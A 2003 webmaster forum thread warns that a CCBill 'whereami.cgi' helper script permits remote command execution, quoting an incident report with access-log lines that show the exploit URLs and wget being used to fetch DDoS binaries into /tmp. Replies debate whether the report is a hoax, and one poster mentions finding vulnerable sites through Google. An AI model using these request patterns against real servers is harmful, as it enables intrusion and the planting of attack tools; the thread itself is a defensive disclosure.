CCBIll Scripts Exploitable - Read if you dont want to get hacked.

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • SplitInfinity
    Confirmed User
    • Dec 2002
    • 3051

    #1

    CCBIll Scripts Exploitable - Read if you dont want to get hacked.

    Greetings all,

    I am posting this message after careful consideration.
    This is a well known problem in the underground hacker world and
    its quite easy to find information on this problem on the web.
    A simple google search yields alot of info on the issue.

    Anyhow, this is to help you secure your server from being hacked.
    And this is to wake up CCBIll and get them moving on fixing the problem
    or at least notifying their customers of the problem.

    We had a group of servers that were backdoored and found that the
    problem was a VERY easy to exploit script installed by CCBIll called
    whereami.cgi. Every server affected had that installed and once removed
    were no longer hackable.

    Again, this is posted because hackers already know about this and are using it
    on a daily basis to hack into sites. We want you to know too.

    Here is the info:


    Subject: Another overflow exploit for Apache? *RESOLVED*

    Greetings again,

    We found that this exploit was NOT a result of an Apache exploit.

    After waiting for the culprits to attempt their mischeif again, we were
    waiting and watched as they re-uploaded their rogue Ddos scripts to /tmp
    and executed thru Apache - not to our surprise, it appears CCBILL once
    again has some very exploitable 'helper' scripts they upload when installing
    their software.

    On ALL the machines with the Ddos behavior we found, there was one common
    script on all of them ' whereami.cgi '. This script, when executed from
    the browser allows system commands to be entered and executed as the web
    server. We even used wget and lynx thru this command interface to upload
    various things into /tmp/. Our culprits were uploading old-school and common
    Ddos binaries, then executing them.. nothing root worthy, but nonetheless
    a pain in the arse.

    Excerpt log entries from our test machines:

    Machine getting it - how we uploaded a test binary:
    216.226.xxx.xxx - - [03/Jul/2003:12:00:00 -0400] "POST /ccbill/whereami.cgi?g=ls
    HTTP/1.1" 200 1033 "http://our.test.fileserver/ccbill/whereami.cgi?g=ls"
    "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; H010818; T312461)"

    Machine serving it:
    216.226.xxx.xxx - - [03/Jul/2003:11:59:59 -0400] "GET /rogue-test.tar HTTP/1.0"
    200 286720 "-" "Wget/1.5.1"

    Other things we did with it:
    216.226.xxx.xxx - - [03/Jul/2003:12:44:41 -0400] "GET
    /ccbill/whereami.cgi?g=mkdir%20/tmp/boo
    HTTP/1.1" 200 247 "-" "Mozilla/4.0
    (compatible; MSIE 5.5; Windows 98; H010818; T312461)"

    and then...

    su-2.02# ls -la /tmp
    drwxrwxrwt 6 root wheel 3072 Jul 3 12:42 .
    drwxr-xr-x 19 root wheel 512 Mar 17 17:01 ..
    drwxr-xr-x 2 nobody wheel 512 Jul 3 12:44 boo
    srwxrwxrwx 1 mysql wheel 0 Jul 3 00:05 mysql.sock
    [snipped]

    And snippet from one of the affected machines running 'hell' a simple
    Ddos binary:
    172.157.111.201 - - [01/Jul/2003:16:58:20 -0400] "GET /ccbill/whereami.cgi?g=v/hell
    HTTP/1.1" 200 265 "-" "Mozilla/4.0

    Once you initiate the /whereami.cgi?g=ls command from the browser, you then
    get an input box and an enter button on your browser - execute any command
    you like, including wget, lynx, tar, sh, etc etc.

    This script is most likely used by CCBILL techs as part of their default
    installation so that they can administer/setup their necessary scripts/software. Unfortunately,
    there is a huge hole in this script. We have a customer who very
    recently had CCBILL setup their services on his website and the very same
    'whereami.cgi' exists even on this current date build.

    So in short, those of you who use CCBILL make sure to remove or render
    useless the 'whereami.cgi' script in your /ccbill directory(ies). Across
    all our machines where we know CCBILL exists we've found this script on
    every one so far - and removed it ;)
  • VideoVoyeur
    So Fucking Banned
    • Jun 2003
    • 2181

    #2
    I see you can copy and paste quite well. This was posted on the ccpowerforums.com site before they closed it down for credit card information sharing.

    Comment

    • NetRodent
      Confirmed User
      • Jan 2002
      • 3985

      #3
      In about 2 minutes on Google I found 3 sites that still appear to be vulnerable.
      "Every normal man must be tempted, at times, to spit on his hands, hoist the black flag, and begin slitting throats."
      --H.L. Mencken

      Comment

      • Easy^R
        Registered User
        • Jun 2003
        • 35

        #4
        buahahahahahahaha

        thats is veeeeeery old and not working exploit )))))) hehehe

        I love you chackiers :>

        Comment

        • richard
          Confirmed User
          • Feb 2001
          • 543

          #5
          Originally posted by NetRodent
          In about 2 minutes on Google I found 3 sites that still appear to be vulnerable.
          Really?

          Last week when this was posted on GFY earlier, i did some searches and found about 6 different versions of whereami.cgi, none of which were exploitable.

          To me, it seems like this was almost like a hoax.

          http://archives.neohapsis.com/archiv...3-07/0017.html
          Last edited by richard; 07-17-2003, 01:39 PM.

          Comment

          • swedguy
            Confirmed User
            • Jan 2002
            • 7981

            #6
            Originally posted by richard
            To me, it seems like this was almost like a hoax.

            http://archives.neohapsis.com/archiv...3-07/0017.html
            That's not CCBill's whereami, that's the "regular" whereami.cgi

            Comment

            • Easy^R
              Registered User
              • Jun 2003
              • 35

              #7
              yes theat pretty funny.. ccbill almost believed that it was in the script since the beggining.. nad no.. it's a h4x0r upload..

              Comment

              • NJ Dave
                Registered User
                • Apr 2003
                • 91

                #8
                Originally posted by richard
                To me, it seems like this was almost like a hoax.

                http://archives.neohapsis.com/archiv...3-07/0017.html
                Dayne's a friend of mine (the guy who wrote the original e-mail). This was no hoax, but CCBill has since fixed the issue.

                I was working with him to help him find this and there was indeed a security hole that just let you execute arbitary code on the webserver, which, as you could imagine, is not good.
                David O.
                Systems/Network Tech
                ICQ: 451311

                Comment

                • SplitInfinity
                  Confirmed User
                  • Dec 2002
                  • 3051

                  #9
                  Yep yep, copy/paste was easier than to re-type the same info. :-)

                  Anyhow, yes, that is a working exploit to any and all sites running that code.
                  Some of our customers were hit by it recently pretty badly......
                  And it was in the CCBIll install. No hoax here.

                  -CJ-

                  Comment

                  • SplitInfinity
                    Confirmed User
                    • Dec 2002
                    • 3051

                    #10
                    Oh almost forgot.........


                    Glad to hear that the problem has been fixed. They should notify their
                    customers though as they were never told of this problem.


                    -CJ-

                    Comment

                    Working...